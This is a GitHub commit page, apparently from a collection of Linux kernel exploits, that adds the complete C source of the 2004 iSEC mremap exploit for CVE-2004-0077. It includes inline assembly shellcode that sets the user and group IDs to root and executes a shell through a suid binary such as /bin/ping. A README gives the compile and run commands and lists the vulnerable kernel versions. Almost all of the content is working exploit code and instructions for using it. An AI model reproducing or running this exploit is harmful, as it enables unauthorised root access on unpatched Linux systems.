Skip to content

Commit 4dca098

Browse files
committed
linux-exp
1 parent 54b57d5 commit 4dca098

File tree

105 files changed

+17456
-40
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

105 files changed

+17456
-40
lines changed

2004/CVE-2004-0077/160.c

+300
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,300 @@
1+
/*
2+
*
3+
* mremap missing do_munmap return check kernel exploit
4+
*
5+
* gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
6+
* ./mremap_pte [suid] [[shell]]
7+
*
8+
* Vulnerable kernel versions are all <= 2.2.25, <= 2.4.24 and <= 2.6.2
9+
*
10+
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
11+
*
12+
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
13+
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
14+
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
15+
*
16+
*/
17+
18+
#include <stdio.h>
19+
#include <stdlib.h>
20+
#include <errno.h>
21+
#include <unistd.h>
22+
#include <syscall.h>
23+
#include <signal.h>
24+
#include <time.h>
25+
#include <sched.h>
26+
27+
#include <sys/mman.h>
28+
#include <sys/wait.h>
29+
#include <sys/utsname.h>
30+
31+
#include <asm/page.h>
32+
33+
34+
#define str(s) #s
35+
#define xstr(s) str(s)
36+
37+
// this is for standard kernels with 3/1 split
38+
#define STARTADDR 0x40000000
39+
#define PGD_SIZE (PAGE_SIZE * 1024)
40+
#define VICTIM (STARTADDR + PGD_SIZE)
41+
#define MMAP_BASE (STARTADDR + 3*PGD_SIZE)
42+
43+
#define DSIGNAL SIGCHLD
44+
#define CLONEFL (DSIGNAL|CLONE_VFORK|CLONE_VM)
45+
46+
#define MREMAP_MAYMOVE ( (1UL) << 0 )
47+
#define MREMAP_FIXED ( (1UL) << 1 )
48+
49+
#define __NR_sys_mremap __NR_mremap
50+
51+
52+
// how many ld.so pages? this is the .text section length (like cat
53+
// /proc/self/maps) in pages
54+
#define LINKERPAGES 0x14
55+
56+
// suid victim
57+
static char *suid="/bin/ping";
58+
59+
// shell to start
60+
static char *launch="/bin/bash";
61+
62+
63+
_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,
64+
ulong, e);
65+
unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
66+
unsigned long new_len, unsigned long flags,
67+
unsigned long new_addr);
68+
69+
static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
70+
static int i, pid=0;
71+
static char *env[2], *argv[2];
72+
static ulong ret;
73+
74+
75+
// code to appear inside the suid image
76+
static void suid_code(void)
77+
{
78+
__asm__(
79+
" call callme \n"
80+
81+
// setresuid(0, 0, 0), setresgid(0, 0, 0)
82+
"jumpme: xorl %ebx, %ebx \n"
83+
" xorl %ecx, %ecx \n"
84+
" xorl %edx, %edx \n"
85+
" xorl %eax, %eax \n"
86+
" mov $"xstr(__NR_setresuid)", %al \n"
87+
" int $0x80 \n"
88+
" mov $"xstr(__NR_setresgid)", %al \n"
89+
" int $0x80 \n"
90+
91+
// execve(launch)
92+
" popl %ebx \n"
93+
" andl $0xfffff000, %ebx \n"
94+
" xorl %eax, %eax \n"
95+
" pushl %eax \n"
96+
" movl %esp, %edx \n"
97+
" pushl %ebx \n"
98+
" movl %esp, %ecx \n"
99+
" mov $"xstr(__NR_execve)", %al \n"
100+
" int $0x80 \n"
101+
102+
// exit
103+
" xorl %eax, %eax \n"
104+
" mov $"xstr(__NR_exit)", %al \n"
105+
" int $0x80 \n"
106+
107+
"callme: jmp jumpme \n"
108+
);
109+
}
110+
111+
112+
static int suid_code_end(int v)
113+
{
114+
return v+1;
115+
}
116+
117+
118+
static inline void get_esp(void)
119+
{
120+
__asm__(
121+
" movl %%esp, %%eax \n"
122+
" andl $0xfffff000, %%eax \n"
123+
" movl %%eax, %0 \n"
124+
: : "m"(old_esp)
125+
);
126+
}
127+
128+
129+
static inline void cloneme(void)
130+
{
131+
__asm__(
132+
" pusha \n"
133+
" movl $("xstr(CLONEFL)"), %%ebx \n"
134+
" movl %%esp, %%ecx \n"
135+
" movl $"xstr(__NR_clone)", %%eax \n"
136+
" int $0x80 \n"
137+
" movl %%eax, %0 \n"
138+
" popa \n"
139+
: : "m"(pid)
140+
);
141+
}
142+
143+
144+
static inline void my_execve(void)
145+
{
146+
__asm__(
147+
" movl %1, %%ebx \n"
148+
" movl %2, %%ecx \n"
149+
" movl %3, %%edx \n"
150+
" movl $"xstr(__NR_execve)", %%eax \n"
151+
" int $0x80 \n"
152+
: "=a"(ret)
153+
: "m"(suid), "m"(argv), "m"(env)
154+
);
155+
}
156+
157+
158+
static inline void pte_populate(unsigned addr)
159+
{
160+
unsigned r;
161+
char *ptr;
162+
163+
memset((void*)addr, 0x90, PAGE_SIZE);
164+
r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
165+
ptr = (void*) (addr + PAGE_SIZE);
166+
ptr -= r+1;
167+
memcpy(ptr, suid_code, r);
168+
memcpy((void*)addr, launch, strlen(launch)+1);
169+
}
170+
171+
172+
// hit VMA limit & populate PTEs
173+
static void exhaust(void)
174+
{
175+
// mmap PTE donor
176+
t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
177+
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
178+
if(MAP_FAILED==t)
179+
goto failed;
180+
181+
// prepare shell code pages
182+
for(i=2; i<LINKERPAGES+1; i++)
183+
pte_populate(victim + PAGE_SIZE*i);
184+
i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
185+
if(i)
186+
goto failed;
187+
188+
// lock unmap
189+
base = MMAP_BASE;
190+
cnt = 0;
191+
prot = PROT_READ;
192+
printf("\n"); fflush(stdout);
193+
for(;;) {
194+
t = mmap((void*)base, PAGE_SIZE, prot,
195+
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
196+
if(MAP_FAILED==t) {
197+
if(ENOMEM==errno)
198+
break;
199+
else
200+
goto failed;
201+
}
202+
if( !(cnt%512) || cnt>65520 )
203+
printf("\r MMAP #%d 0x%.8x - 0x%.8lx", cnt, base,
204+
base+PAGE_SIZE); fflush(stdout);
205+
base += PAGE_SIZE;
206+
prot ^= PROT_EXEC;
207+
cnt++;
208+
}
209+
210+
// move PTEs & populate page table cache
211+
ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,
212+
MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
213+
if(-1==ret)
214+
goto failed;
215+
216+
munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
217+
t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,
218+
PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
219+
0);
220+
if(MAP_FAILED==t)
221+
goto failed;
222+
223+
*t = *((unsigned *)old_esp);
224+
munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
225+
printf("\n[+] Success\n\n"); fflush(stdout);
226+
return;
227+
228+
failed:
229+
printf("\n[-] Failed\n"); fflush(stdout);
230+
_exit(0);
231+
}
232+
233+
234+
static inline void check_kver(void)
235+
{
236+
static struct utsname un;
237+
int a=0, b=0, c=0, v=0, e=0, n;
238+
239+
uname(&un);
240+
n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
241+
if(n!=3 || a!=2) {
242+
printf("\n[-] invalid kernel version string\n");
243+
_exit(0);
244+
}
245+
246+
if(b==2) {
247+
if(c<=25)
248+
v=1;
249+
}
250+
else if(b==3) {
251+
if(c<=99)
252+
v=1;
253+
}
254+
else if(b==4) {
255+
if(c>18 && c<=24)
256+
v=1, e=1;
257+
else if(c>24)
258+
v=0, e=0;
259+
else
260+
v=1, e=0;
261+
}
262+
else if(b==5 && c<=75)
263+
v=1, e=1;
264+
else if(b==6 && c<=2)
265+
v=1, e=1;
266+
267+
printf("\n[+] kernel %s vulnerable: %s exploitable %s",
268+
un.release, v? "YES" : "NO", e? "YES" : "NO" );
269+
fflush(stdout);
270+
271+
if(v && e)
272+
return;
273+
_exit(0);
274+
}
275+
276+
277+
int main(int ac, char **av)
278+
{
279+
// prepare
280+
check_kver();
281+
memset(env, 0, sizeof(env));
282+
memset(argv, 0, sizeof(argv));
283+
if(ac>1) suid=av[1];
284+
if(ac>2) launch=av[2];
285+
argv[0] = suid;
286+
get_esp();
287+
288+
// mmap & clone & execve
289+
exhaust();
290+
cloneme();
291+
if(!pid) {
292+
my_execve();
293+
} else {
294+
waitpid(pid, 0, 0);
295+
}
296+
297+
return 0;
298+
}
299+
300+
// milw0rm.com [2004-03-01]

2004/CVE-2004-0077/README.md

+19
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
# CVE-2004-0077
2+
3+
CVE-2004-0077
4+
5+
Vulnerability reference:
6+
* [CVE-2004-0077](http://www.exploit-db.com/exploits/160/)
7+
8+
## Kernels
9+
```
10+
2.4.20, 2.2.24, 2.4.25, 2.4.26, 2.4.27
11+
```
12+
13+
## Usage
14+
```
15+
gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
16+
./mremap_pte [suid] [[shell]]
17+
```
18+
19+

0 commit comments

Comments
 (0)